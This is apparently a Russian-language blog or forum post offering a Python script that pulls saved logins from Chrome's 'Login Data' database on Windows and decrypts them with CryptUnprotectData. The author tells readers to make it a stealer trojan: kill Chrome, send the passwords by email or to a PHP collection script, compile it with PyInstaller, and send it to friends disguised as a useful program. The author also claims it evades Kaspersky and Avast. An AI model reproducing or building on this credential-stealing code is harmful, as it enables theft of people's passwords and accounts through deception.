pythono
7 лет назадГрабим пароли из Chrome на Python в Windows
Модифицировав данный скрипт вы сможете написать простой троян-стилер на Python под Windows. Данный кусочек кода просто вытаскивает пароли из Chrome. Чтобы сделать его боевым, вам нужно добавить команду, которая убьет процесс хрома для того чтобы он не мешал грабить пароли. После этого добавьте команды отсылающие пароли вам на почту или на php скрипт - ловушку для данных, которую расположите на любом бесплатном php хостинге. Скомпилируйте скрипт с помощью PyInstaller и можете посылать друзьям полезную программу. Антивирусами не палится, проверял на Каспере и Авасте.
# установите pywin32 чтобы все работало
import os
import requests
from sys import exit
import sqlite3
from win32crypt import CryptUnprotectData
import argparse
print('Убедитесь что вы закрыли браузер Chrome...')
print('Ждем некоторое время...')
# Вычисляем папку куда установлен Chrome в Windows
def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName
# Грабим базу данных с сохраненными паролями
def grub():
secret = []
path = chromepath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for i in value:
password = CryptUnprotectData(i[2], None, None, None, 0)[1]
if password:
secret.append({
'1': i[0],
'2': i[1],
'3': str(password)
})
except sqlite3.OperationalError as e:
if (str(e) == 'database is locked'):
print('Вы должны выключить Chrome прежде чем запускать скрипт')
input()
exit(0)
else:
exit(0)
if secret == []:
pass
else:
return secret
# Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
for data in grub():
for x in data.values():
print(x)
print("Пароли извлечены, нажмите Enter")
input()